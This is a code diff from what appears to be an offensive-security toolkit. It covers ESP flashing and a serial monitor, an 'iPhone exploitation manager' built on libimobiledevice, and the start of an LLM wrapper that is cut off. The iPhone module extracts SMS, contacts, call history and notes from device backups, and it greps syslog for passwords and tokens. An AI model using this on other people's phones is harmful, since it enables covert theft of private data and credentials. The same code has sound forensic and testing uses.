{firmware_path}'} + + op_id = f'esp_flash_{int(time.time())}' + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'starting', 'progress': 0, + 'message': 'Starting ESP flash...', + } + + def _do_flash(): + try: + with self._operation_lock: + self._operation_progress[op_id]['status'] = 'running' + self._operation_progress[op_id]['progress'] = 5 + self._operation_progress[op_id]['message'] = 'Connecting to chip...' + + cmd = [ + 'python3', '-m', 'esptool', + '--port', port, + '--baud', str(baud), + 'write_flash', '0x0', firmware_path, + ] + proc = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, + ) + + output_lines = [] + for line in proc.stdout: + line = line.strip() + output_lines.append(line) + + # Parse progress from esptool output + if 'Writing at' in line and '%' in line: + m = re.search(r'\((\d+)\s*%\)', line) + if m: + pct = int(m.group(1)) + with self._operation_lock: + self._operation_progress[op_id]['progress'] = pct + self._operation_progress[op_id]['message'] = f'Flashing... {pct}%' + elif 'Connecting' in line: + with self._operation_lock: + self._operation_progress[op_id]['message'] = 'Connecting...' + elif 'Erasing' in line: + with self._operation_lock: + self._operation_progress[op_id]['progress'] = 3 + self._operation_progress[op_id]['message'] = 'Erasing flash...' + + proc.wait(timeout=300) + output = '\n'.join(output_lines) + + with self._operation_lock: + if proc.returncode == 0: + self._operation_progress[op_id] = { + 'status': 'done', 'progress': 100, + 'message': 'Flash complete', + 'output': output, + } + else: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, + 'message': output or 'Flash failed', + } + except Exception as e: + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, 'message': str(e), + } + + thread = threading.Thread(target=_do_flash, daemon=True) + thread.start() + return {'success': True, 'op_id': op_id} + + # ── Serial Monitor ───────────────────────────────────────────── + + def serial_monitor_start(self, port, baud=115200): + """Start serial monitor on a port.""" + if not PYSERIAL_AVAILABLE: + return {'success': False, 'error': 'pyserial not installed'} + if self._monitor_running: + return {'success': False, 'error': 'Monitor already running'} + + try: + self._monitor_serial = serial.Serial(port, baud, timeout=0.1) + except Exception as e: + return {'success': False, 'error': str(e)} + + self._monitor_running = True + self._monitor_buffer = [] + + def _read_loop(): + while self._monitor_running and self._monitor_serial and self._monitor_serial.is_open: + try: + data = self._monitor_serial.readline() + if data: + text = data.decode('utf-8', errors='replace').rstrip() + with self._monitor_lock: + self._monitor_buffer.append({ + 'time': time.time(), + 'data': text, + }) + # Keep buffer manageable + if len(self._monitor_buffer) > 5000: + self._monitor_buffer = self._monitor_buffer[-3000:] + except Exception: + if not self._monitor_running: + break + time.sleep(0.1) + + self._monitor_thread = threading.Thread(target=_read_loop, daemon=True) + self._monitor_thread.start() + return {'success': True, 'port': port, 'baud': baud} + + def serial_monitor_stop(self): + """Stop serial monitor.""" + self._monitor_running = False + if self._monitor_serial and self._monitor_serial.is_open: + try: + self._monitor_serial.close() + except Exception: + pass + self._monitor_serial = None + return {'success': True} + + def serial_monitor_send(self, data): + """Send data to the monitored serial port.""" + if not self._monitor_running or not self._monitor_serial: + return {'success': False, 'error': 'Monitor not running'} + try: + self._monitor_serial.write((data + '\n').encode('utf-8')) + return {'success': True} + except Exception as e: + return {'success': False, 'error': str(e)} + + def serial_monitor_get_output(self, since_index=0): + """Get buffered serial output since given index.""" + with self._monitor_lock: + data = self._monitor_buffer[since_index:] + return { + 'lines': data, + 'total': len(self._monitor_buffer), + 'running': self._monitor_running, + } + + @property + def monitor_running(self): + return self._monitor_running + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_hardware_manager(): + global _manager + if _manager is None: + _manager = HardwareManager() + return _manager diff --git a/core/iphone_exploit.py b/core/iphone_exploit.py new file mode 100644 index 0000000..0de3e52 --- /dev/null +++ b/core/iphone_exploit.py @@ -0,0 +1,683 @@ +""" +AUTARCH iPhone Exploitation Manager +Local USB device access via libimobiledevice tools. +Device info, screenshots, syslog, app management, backup extraction, +filesystem mounting, provisioning profiles, port forwarding. +""" + +import os +import re +import json +import time +import shutil +import sqlite3 +import subprocess +import plistlib +from pathlib import Path +from typing import Optional, Dict, Any + +from core.paths import get_data_dir, find_tool + + +class IPhoneExploitManager: + """All iPhone USB exploitation logic using libimobiledevice.""" + + # Tools we look for + TOOLS = [ + 'idevice_id', 'ideviceinfo', 'idevicepair', 'idevicename', + 'idevicedate', 'idevicescreenshot', 'idevicesyslog', + 'idevicecrashreport', 'idevicediagnostics', 'ideviceinstaller', + 'idevicebackup2', 'ideviceprovision', 'idevicedebug', + 'ideviceactivation', 'ifuse', 'iproxy', + ] + + def __init__(self): + self._base = get_data_dir() / 'iphone_exploit' + for sub in ('backups', 'screenshots', 'recon', 'apps', 'crash_reports'): + (self._base / sub).mkdir(parents=True, exist_ok=True) + # Find available tools + self._tools = {} + for name in self.TOOLS: + path = find_tool(name) + if not path: + path = shutil.which(name) + if path: + self._tools[name] = path + + def _udid_dir(self, category, udid): + d = self._base / category / udid + d.mkdir(parents=True, exist_ok=True) + return d + + def _run(self, tool_name, args, timeout=30): + """Run a libimobiledevice tool.""" + path = self._tools.get(tool_name) + if not path: + return '', f'{tool_name} not found', 1 + cmd = [path] + args + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return '', 'Command timed out', 1 + except Exception as e: + return '', str(e), 1 + + def _run_udid(self, tool_name, udid, args, timeout=30): + """Run tool with -u UDID flag.""" + return self._run(tool_name, ['-u', udid] + args, timeout=timeout) + + def get_status(self): + """Get availability of libimobiledevice tools.""" + available = {name: bool(path) for name, path in self._tools.items()} + total = len(self.TOOLS) + found = sum(1 for v in available.values() if v) + return { + 'tools': available, + 'total': total, + 'found': found, + 'ready': found >= 3, # At minimum need idevice_id, ideviceinfo, idevicepair + } + + # ── Device Management ──────────────────────────────────────────── + + def list_devices(self): + """List connected iOS devices.""" + stdout, stderr, rc = self._run('idevice_id', ['-l']) + if rc != 0: + return [] + devices = [] + for line in stdout.strip().split('\n'): + udid = line.strip() + if udid: + info = self.device_info_brief(udid) + devices.append({ + 'udid': udid, + 'name': info.get('DeviceName', ''), + 'model': info.get('ProductType', ''), + 'ios_version': info.get('ProductVersion', ''), + }) + return devices + + def device_info(self, udid): + """Get full device information.""" + stdout, stderr, rc = self._run_udid('ideviceinfo', udid, []) + if rc != 0: + return {'error': stderr or 'Cannot get device info'} + info = {} + for line in stdout.split('\n'): + if ':' in line: + key, _, val = line.partition(':') + info[key.strip()] = val.strip() + return info + + def device_info_brief(self, udid): + """Get key device info (name, model, iOS version).""" + keys = ['DeviceName', 'ProductType', 'ProductVersion', 'BuildVersion', + 'SerialNumber', 'UniqueChipID', 'WiFiAddress', 'BluetoothAddress'] + info = {} + for key in keys: + stdout, _, rc = self._run_udid('ideviceinfo', udid, ['-k', key]) + if rc == 0: + info[key] = stdout.strip() + return info + + def device_info_domain(self, udid, domain): + """Get device info for a specific domain.""" + stdout, stderr, rc = self._run_udid('ideviceinfo', udid, ['-q', domain]) + if rc != 0: + return {'error': stderr} + info = {} + for line in stdout.split('\n'): + if ':' in line: + key, _, val = line.partition(':') + info[key.strip()] = val.strip() + return info + + def pair_device(self, udid): + """Pair with device (requires user trust on device).""" + stdout, stderr, rc = self._run_udid('idevicepair', udid, ['pair']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def unpair_device(self, udid): + """Unpair from device.""" + stdout, stderr, rc = self._run_udid('idevicepair', udid, ['unpair']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def validate_pair(self, udid): + """Check if device is properly paired.""" + stdout, stderr, rc = self._run_udid('idevicepair', udid, ['validate']) + return {'success': rc == 0, 'paired': rc == 0, 'output': (stdout or stderr).strip()} + + def get_name(self, udid): + """Get device name.""" + stdout, stderr, rc = self._run_udid('idevicename', udid, []) + return {'success': rc == 0, 'name': stdout.strip()} + + def set_name(self, udid, name): + """Set device name.""" + stdout, stderr, rc = self._run_udid('idevicename', udid, [name]) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def get_date(self, udid): + """Get device date/time.""" + stdout, stderr, rc = self._run_udid('idevicedate', udid, []) + return {'success': rc == 0, 'date': stdout.strip()} + + def set_date(self, udid, timestamp): + """Set device date (epoch timestamp).""" + stdout, stderr, rc = self._run_udid('idevicedate', udid, ['-s', str(timestamp)]) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def restart_device(self, udid): + """Restart device.""" + stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['restart']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def shutdown_device(self, udid): + """Shutdown device.""" + stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['shutdown']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def sleep_device(self, udid): + """Put device to sleep.""" + stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['sleep']) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + # ── Screenshot & Syslog ────────────────────────────────────────── + + def screenshot(self, udid): + """Take a screenshot.""" + out_dir = self._udid_dir('screenshots', udid) + filename = f'screen_{int(time.time())}.png' + filepath = str(out_dir / filename) + stdout, stderr, rc = self._run_udid('idevicescreenshot', udid, [filepath]) + if rc == 0 and os.path.exists(filepath): + return {'success': True, 'path': filepath, 'size': os.path.getsize(filepath)} + return {'success': False, 'error': (stderr or stdout).strip()} + + def syslog_dump(self, udid, duration=5): + """Capture syslog for a duration.""" + out_dir = self._udid_dir('recon', udid) + logfile = str(out_dir / f'syslog_{int(time.time())}.txt') + try: + proc = subprocess.Popen( + [self._tools.get('idevicesyslog', 'idevicesyslog'), '-u', udid], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + time.sleep(duration) + proc.terminate() + stdout, _ = proc.communicate(timeout=3) + with open(logfile, 'w') as f: + f.write(stdout) + return {'success': True, 'path': logfile, 'lines': len(stdout.split('\n'))} + except Exception as e: + return {'success': False, 'error': str(e)} + + def syslog_grep(self, udid, pattern, duration=5): + """Capture syslog and grep for pattern (passwords, tokens, etc).""" + result = self.syslog_dump(udid, duration=duration) + if not result['success']: + return result + matches = [] + try: + with open(result['path']) as f: + for line in f: + if re.search(pattern, line, re.IGNORECASE): + matches.append(line.strip()) + except Exception: + pass + return {'success': True, 'matches': matches, 'count': len(matches), 'pattern': pattern} + + def crash_reports(self, udid): + """Pull crash reports from device.""" + out_dir = self._udid_dir('crash_reports', udid) + stdout, stderr, rc = self._run_udid('idevicecrashreport', udid, + ['-e', str(out_dir)], timeout=60) + if rc == 0: + files = list(out_dir.iterdir()) if out_dir.exists() else [] + return {'success': True, 'output_dir': str(out_dir), + 'count': len(files), 'output': stdout.strip()} + return {'success': False, 'error': (stderr or stdout).strip()} + + # ── App Management ─────────────────────────────────────────────── + + def list_apps(self, udid, app_type='user'): + """List installed apps. type: user, system, all.""" + flags = { + 'user': ['-l', '-o', 'list_user'], + 'system': ['-l', '-o', 'list_system'], + 'all': ['-l', '-o', 'list_all'], + } + args = flags.get(app_type, ['-l']) + stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, args, timeout=30) + if rc != 0: + return {'success': False, 'error': (stderr or stdout).strip(), 'apps': []} + apps = [] + for line in stdout.strip().split('\n'): + line = line.strip() + if not line or line.startswith('CFBundle') or line.startswith('Total'): + continue + # Format: com.example.app, "App Name", "1.0" + parts = line.split(',', 2) + if parts: + app = {'bundle_id': parts[0].strip().strip('"')} + if len(parts) >= 2: + app['name'] = parts[1].strip().strip('"') + if len(parts) >= 3: + app['version'] = parts[2].strip().strip('"') + apps.append(app) + return {'success': True, 'apps': apps, 'count': len(apps)} + + def install_app(self, udid, ipa_path): + """Install an IPA on device.""" + if not os.path.isfile(ipa_path): + return {'success': False, 'error': f'File not found: {ipa_path}'} + stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, + ['-i', ipa_path], timeout=120) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def uninstall_app(self, udid, bundle_id): + """Uninstall an app by bundle ID.""" + stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, + ['-U', bundle_id], timeout=30) + return {'success': rc == 0, 'bundle_id': bundle_id, 'output': (stdout or stderr).strip()} + + # ── Backup & Data Extraction ───────────────────────────────────── + + def create_backup(self, udid, encrypted=False, password=''): + """Create a full device backup.""" + backup_dir = str(self._base / 'backups') + args = ['backup', '--full', backup_dir] + if encrypted and password: + args = ['backup', '--full', backup_dir, '-p', password] + stdout, stderr, rc = self._run_udid('idevicebackup2', udid, args, timeout=600) + backup_path = os.path.join(backup_dir, udid) + success = os.path.isdir(backup_path) + return { + 'success': success, + 'backup_path': backup_path if success else None, + 'encrypted': encrypted, + 'output': (stdout or stderr).strip()[:500], + } + + def list_backups(self): + """List available local backups.""" + backup_dir = self._base / 'backups' + backups = [] + if backup_dir.exists(): + for d in backup_dir.iterdir(): + if d.is_dir(): + manifest = d / 'Manifest.db' + info_plist = d / 'Info.plist' + backup_info = {'udid': d.name, 'path': str(d)} + if manifest.exists(): + backup_info['has_manifest'] = True + backup_info['size_mb'] = sum( + f.stat().st_size for f in d.rglob('*') if f.is_file() + ) / (1024 * 1024) + if info_plist.exists(): + try: + with open(info_plist, 'rb') as f: + plist = plistlib.load(f) + backup_info['device_name'] = plist.get('Device Name', '') + backup_info['product_type'] = plist.get('Product Type', '') + backup_info['ios_version'] = plist.get('Product Version', '') + backup_info['date'] = str(plist.get('Last Backup Date', '')) + except Exception: + pass + backups.append(backup_info) + return {'backups': backups, 'count': len(backups)} + + def extract_backup_sms(self, backup_path): + """Extract SMS/iMessage from a backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + # Find SMS database file hash + cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/SMS/sms.db' AND domain = 'HomeDomain'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'SMS database not found in backup'} + file_hash = row[0] + sms_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(sms_db): + return {'success': False, 'error': f'SMS db file not found: {file_hash}'} + # Query messages + conn = sqlite3.connect(sms_db) + cur = conn.cursor() + cur.execute(''' + SELECT m.rowid, m.text, m.date, m.is_from_me, + h.id AS handle_id, h.uncanonicalized_id + FROM message m + LEFT JOIN handle h ON m.handle_id = h.rowid + ORDER BY m.date DESC LIMIT 500 + ''') + messages = [] + for row in cur.fetchall(): + # Apple timestamps: seconds since 2001-01-01 + apple_epoch = 978307200 + ts = row[2] + if ts and ts > 1e17: + ts = ts / 1e9 # nanoseconds + date_readable = '' + if ts: + try: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch)) + except (ValueError, OSError): + pass + messages.append({ + 'id': row[0], 'text': row[1] or '', 'date': date_readable, + 'is_from_me': bool(row[3]), + 'handle': row[4] or row[5] or '', + }) + conn.close() + return {'success': True, 'messages': messages, 'count': len(messages)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_contacts(self, backup_path): + """Extract contacts from backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/AddressBook/AddressBook.sqlitedb' AND domain = 'HomeDomain'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'AddressBook not found in backup'} + file_hash = row[0] + ab_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(ab_db): + return {'success': False, 'error': 'AddressBook file not found'} + conn = sqlite3.connect(ab_db) + cur = conn.cursor() + cur.execute(''' + SELECT p.rowid, p.First, p.Last, p.Organization, + mv.value AS phone_or_email + FROM ABPerson p + LEFT JOIN ABMultiValue mv ON p.rowid = mv.record_id + ORDER BY p.Last, p.First + ''') + contacts = {} + for row in cur.fetchall(): + rid = row[0] + if rid not in contacts: + contacts[rid] = { + 'first': row[1] or '', 'last': row[2] or '', + 'organization': row[3] or '', 'values': [] + } + if row[4]: + contacts[rid]['values'].append(row[4]) + conn.close() + contact_list = list(contacts.values()) + return {'success': True, 'contacts': contact_list, 'count': len(contact_list)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_call_log(self, backup_path): + """Extract call history from backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%CallHistory%' AND domain = 'HomeDomain'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'Call history not found in backup'} + file_hash = row[0] + ch_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(ch_db): + return {'success': False, 'error': 'Call history file not found'} + conn = sqlite3.connect(ch_db) + cur = conn.cursor() + cur.execute(''' + SELECT ROWID, address, date, duration, flags, country_code + FROM ZCALLRECORD ORDER BY ZDATE DESC LIMIT 200 + ''') + flag_map = {4: 'incoming', 5: 'outgoing', 8: 'missed'} + calls = [] + apple_epoch = 978307200 + for row in cur.fetchall(): + ts = row[2] + date_readable = '' + if ts: + try: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch)) + except (ValueError, OSError): + pass + calls.append({ + 'id': row[0], 'address': row[1] or '', 'date': date_readable, + 'duration': row[3] or 0, 'type': flag_map.get(row[4], str(row[4])), + 'country': row[5] or '', + }) + conn.close() + return {'success': True, 'calls': calls, 'count': len(calls)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_notes(self, backup_path): + """Extract notes from backup.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%NoteStore.sqlite%' AND domain = 'AppDomainGroup-group.com.apple.notes'") + row = cur.fetchone() + conn.close() + if not row: + return {'success': False, 'error': 'Notes database not found in backup'} + file_hash = row[0] + notes_db = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(notes_db): + return {'success': False, 'error': 'Notes file not found'} + conn = sqlite3.connect(notes_db) + cur = conn.cursor() + cur.execute(''' + SELECT n.Z_PK, n.ZTITLE, nb.ZDATA, n.ZMODIFICATIONDATE + FROM ZICCLOUDSYNCINGOBJECT n + LEFT JOIN ZICNOTEDATA nb ON n.Z_PK = nb.ZNOTE + WHERE n.ZTITLE IS NOT NULL + ORDER BY n.ZMODIFICATIONDATE DESC LIMIT 100 + ''') + apple_epoch = 978307200 + notes = [] + for row in cur.fetchall(): + body = '' + if row[2]: + try: + body = row[2].decode('utf-8', errors='replace')[:500] + except Exception: + body = '[binary data]' + date_readable = '' + if row[3]: + try: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(row[3] + apple_epoch)) + except (ValueError, OSError): + pass + notes.append({'id': row[0], 'title': row[1] or '', 'body': body, 'date': date_readable}) + conn.close() + return {'success': True, 'notes': notes, 'count': len(notes)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def list_backup_files(self, backup_path, domain='', path_filter=''): + """List all files in a backup's Manifest.db.""" + manifest = os.path.join(backup_path, 'Manifest.db') + if not os.path.exists(manifest): + return {'success': False, 'error': 'Manifest.db not found'} + try: + conn = sqlite3.connect(manifest) + cur = conn.cursor() + query = 'SELECT fileID, domain, relativePath, flags FROM Files' + conditions = [] + params = [] + if domain: + conditions.append('domain LIKE ?') + params.append(f'%{domain}%') + if path_filter: + conditions.append('relativePath LIKE ?') + params.append(f'%{path_filter}%') + if conditions: + query += ' WHERE ' + ' AND '.join(conditions) + query += ' LIMIT 500' + cur.execute(query, params) + files = [] + for row in cur.fetchall(): + files.append({ + 'hash': row[0], 'domain': row[1], + 'path': row[2], 'flags': row[3], + }) + conn.close() + return {'success': True, 'files': files, 'count': len(files)} + except Exception as e: + return {'success': False, 'error': str(e)} + + def extract_backup_file(self, backup_path, file_hash, output_name=None): + """Extract a specific file from backup by its hash.""" + src = os.path.join(backup_path, file_hash[:2], file_hash) + if not os.path.exists(src): + return {'success': False, 'error': f'File not found: {file_hash}'} + out_dir = self._base / 'recon' / 'extracted' + out_dir.mkdir(parents=True, exist_ok=True) + dest = str(out_dir / (output_name or file_hash)) + shutil.copy2(src, dest) + return {'success': True, 'path': dest, 'size': os.path.getsize(dest)} + + # ── Filesystem ─────────────────────────────────────────────────── + + def mount_filesystem(self, udid, mountpoint=None): + """Mount device filesystem via ifuse.""" + if 'ifuse' not in self._tools: + return {'success': False, 'error': 'ifuse not installed'} + if not mountpoint: + mountpoint = str(self._base / 'mnt' / udid) + os.makedirs(mountpoint, exist_ok=True) + stdout, stderr, rc = self._run('ifuse', ['-u', udid, mountpoint]) + return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()} + + def mount_app_documents(self, udid, bundle_id, mountpoint=None): + """Mount a specific app's Documents folder via ifuse.""" + if 'ifuse' not in self._tools: + return {'success': False, 'error': 'ifuse not installed'} + if not mountpoint: + mountpoint = str(self._base / 'mnt' / udid / bundle_id) + os.makedirs(mountpoint, exist_ok=True) + stdout, stderr, rc = self._run('ifuse', ['-u', udid, '--documents', bundle_id, mountpoint]) + return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()} + + def unmount_filesystem(self, mountpoint): + """Unmount a previously mounted filesystem.""" + try: + subprocess.run(['fusermount', '-u', mountpoint], capture_output=True, timeout=10) + return {'success': True, 'mountpoint': mountpoint} + except Exception as e: + return {'success': False, 'error': str(e)} + + # ── Provisioning Profiles ──────────────────────────────────────── + + def list_profiles(self, udid): + """List provisioning profiles on device.""" + stdout, stderr, rc = self._run_udid('ideviceprovision', udid, ['list'], timeout=15) + if rc != 0: + return {'success': False, 'error': (stderr or stdout).strip(), 'profiles': []} + profiles = [] + current = {} + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('ProvisionedDevices'): + continue + if ' - ' in line and not current: + current = {'id': line.split(' - ')[0].strip(), 'name': line.split(' - ', 1)[1].strip()} + elif line == '' and current: + profiles.append(current) + current = {} + if current: + profiles.append(current) + return {'success': True, 'profiles': profiles, 'count': len(profiles)} + + def install_profile(self, udid, profile_path): + """Install a provisioning/configuration profile.""" + if not os.path.isfile(profile_path): + return {'success': False, 'error': f'File not found: {profile_path}'} + stdout, stderr, rc = self._run_udid('ideviceprovision', udid, + ['install', profile_path], timeout=15) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + def remove_profile(self, udid, profile_id): + """Remove a provisioning profile.""" + stdout, stderr, rc = self._run_udid('ideviceprovision', udid, + ['remove', profile_id], timeout=15) + return {'success': rc == 0, 'output': (stdout or stderr).strip()} + + # ── Port Forwarding ────────────────────────────────────────────── + + def port_forward(self, udid, local_port, device_port): + """Set up port forwarding via iproxy (runs in background).""" + if 'iproxy' not in self._tools: + return {'success': False, 'error': 'iproxy not installed'} + try: + proc = subprocess.Popen( + [self._tools['iproxy'], '-u', udid, str(local_port), str(device_port)], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(0.5) + if proc.poll() is not None: + _, err = proc.communicate() + return {'success': False, 'error': err.decode().strip()} + return {'success': True, 'pid': proc.pid, + 'local': local_port, 'device': device_port} + except Exception as e: + return {'success': False, 'error': str(e)} + + # ── Device Fingerprint ─────────────────────────────────────────── + + def full_fingerprint(self, udid): + """Get comprehensive device fingerprint.""" + fp = self.device_info(udid) + # Add specific domains + for domain in ['com.apple.disk_usage', 'com.apple.mobile.battery', + 'com.apple.mobile.internal', 'com.apple.international']: + domain_info = self.device_info_domain(udid, domain) + if 'error' not in domain_info: + fp[f'domain_{domain.split(".")[-1]}'] = domain_info + return fp + + def export_recon_report(self, udid): + """Export full reconnaissance report.""" + out_dir = self._udid_dir('recon', udid) + report = { + 'udid': udid, + 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), + 'device_info': self.device_info(udid), + 'pair_status': self.validate_pair(udid), + 'apps': self.list_apps(udid), + 'profiles': self.list_profiles(udid), + } + report_path = str(out_dir / f'report_{int(time.time())}.json') + with open(report_path, 'w') as f: + json.dump(report, f, indent=2, default=str) + return {'success': True, 'report_path': report_path} + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_iphone_manager(): + global _manager + if _manager is None: + _manager = IPhoneExploitManager() + return _manager diff --git a/core/llm.py b/core/llm.py new file mode 100644 index 0000000..c1099db --- /dev/null +++ b/core/llm.py @@ -0,0 +1,1465 @@ +""" +AUTARCH LLM Integration Module +Wrapper for llama-cpp-python to interface with llama.cpp models +""" + +import logging +import sys +from typing import Optional, Generator, List, Dict, Any +from pathlib import Path + +from .config import get_config +from .banner import Colors + +_llm_logger = logging.getLogger('autarch.llm') + + +class LLMError(Exception): + """Exception raised for LLM-related errors.""" + pass + + +class LLM: + """Wrapper class for llama-cpp-python integration.""" + + def __init__(self, config=None): + """Initialize the LLM wrapper. + + Args: + config: Optional Config instance. Uses global config if not provided. + """ + self.config = config or get_config() + self._model = None + self._model_path = None + self._metadata_dir = None + self._special_tokens = {} + self._chat_format = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + """Check if a model is currently loaded.""" + return self._model is not None + + @property + def model_name(self) -> str: + """Get the name of the currently loaded model.""" + if self._model_path: + return Path(self._model_path).name + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Load a GGUF model. + + Args: + model_path: Path to the model file. Uses config if not provided. + verbose: Whether to show loading progress. + + Returns: + True if model loaded successfully. + + Raises: + LLMError: If model loading fails. + """ + try: + from llama_cpp import Llama + except ImportError as e: + raise LLMError(f"llama-cpp-python not installed: {e}") + + # Get model path from config if not provided + if model_path is None: + model_path = self.config.get('llama', 'model_path', '') + + if not model_path: + raise LLMError("No model path configured. Run setup first.") + + model_path = Path(model_path).expanduser() + if not model_path.exists(): + raise LLMError(f"Model file not found: {model_path}") + + # Get settings from config + settings = self.config.get_llama_settings() + + if verbose: + print(f"{Colors.CYAN}[*] Loading model: {model_path.name}{Colors.RESET}") + print(f"{Colors.DIM} Context: {settings['n_ctx']} | Threads: {settings['n_threads']} | GPU Layers: {settings['n_gpu_layers']}{Colors.RESET}") + + # Look for tokenizer/config files in the model directory or parent + model_dir = model_path.parent + chat_format, metadata_dir, special_tokens = self._detect_chat_format(model_dir, verbose) + + # If not found in same dir, try parent directory + if not metadata_dir and model_dir.name.lower() in ('gguf', 'guff', 'models'): + chat_format, metadata_dir, special_tokens = self._detect_chat_format(model_dir.parent, verbose) + + try: + llama_kwargs = { + 'model_path': str(model_path), + 'n_ctx': settings['n_ctx'], + 'n_threads': settings['n_threads'], + 'n_gpu_layers': settings['n_gpu_layers'], + 'seed': settings['seed'] if settings['seed'] != -1 else None, + 'verbose': verbose, + } + + # Add chat format if detected + if chat_format: + llama_kwargs['chat_format'] = chat_format + if verbose: + print(f"{Colors.DIM} Chat format: {chat_format}{Colors.RESET}") + + self._model = Llama(**llama_kwargs) + self._model_path = str(model_path) + self._metadata_dir = metadata_dir + self._special_tokens = special_tokens + self._chat_format = chat_format + + if verbose: + print(f"{Colors.GREEN}[+] Model loaded successfully{Colors.RESET}") + + return True + + except Exception as e: + self._model = None + self._model_path = None + raise LLMError(f"Failed to load model: {e}") + + def _detect_chat_format(self, directory: Path, verbose: bool = False) -> tuple: + """Detect chat format and special tokens from tokenizer config files. + + Args: + directory: Directory to search for config files + verbose: Whether to print status + + Returns: + Tuple of (chat_format, metadata_dir, special_tokens) or (None, None, {}) + """ + import json + + if not directory.exists(): + return None, None, {} + + # Look for tokenizer_config.json + tokenizer_config = directory / 'tokenizer_config.json' + config_json = directory / 'config.json' + special_tokens_file = directory / 'special_tokens_map.json' + + chat_format = None + metadata_dir = None + special_tokens = {} + + # Check for tokenizer files + has_tokenizer = (directory / 'tokenizer.json').exists() + has_tokenizer_config = tokenizer_config.exists() + has_config = config_json.exists() + has_special_tokens = special_tokens_file.exists() + + if has_tokenizer or has_tokenizer_config or has_config or has_special_tokens: + metadata_dir = str(directory) + if verbose: + found_files = [] + if has_tokenizer: + found_files.append('tokenizer.json') + if has_tokenizer_config: + found_files.append('tokenizer_config.json') + if has_special_tokens: + found_files.append('special_tokens_map.json') + if has_config: + found_files.append('config.json') + print(f"{Colors.DIM} Found model metadata in: {directory.name}/{Colors.RESET}") + print(f"{Colors.DIM} Files: {', '.join(found_files)}{Colors.RESET}") + + # Load special tokens + if has_special_tokens: + try: + with open(special_tokens_file, 'r') as f: + st = json.load(f) + # Extract token strings + for key, value in st.items(): + if isinstance(value, dict): + special_tokens[key] = value.get('content', '') + else: + special_tokens[key] = value + if verbose and special_tokens: + tokens_str = ', '.join(f"{k}={v}" for k, v in special_tokens.items() if v) + print(f"{Colors.DIM} Special tokens: {tokens_str}{Colors.RESET}") + except (json.JSONDecodeError, IOError): + pass + + # Try to detect chat format from tokenizer_config.json + if has_tokenizer_config: + try: + with open(tokenizer_config, 'r') as f: + tc = json.load(f) + + # Check chat_template field + chat_template = tc.get('chat_template', '') + + # Detect format from chat_template content + if 'chatml' in chat_template.lower() or '<|im_start|>' in chat_template: + chat_format = 'chatml' + elif 'llama-2' in chat_template.lower() or '[INST]' in chat_template: + chat_format = 'llama-2' + elif 'mistral' in chat_template.lower(): + chat_format = 'mistral-instruct' + elif 'vicuna' in chat_template.lower(): + chat_format = 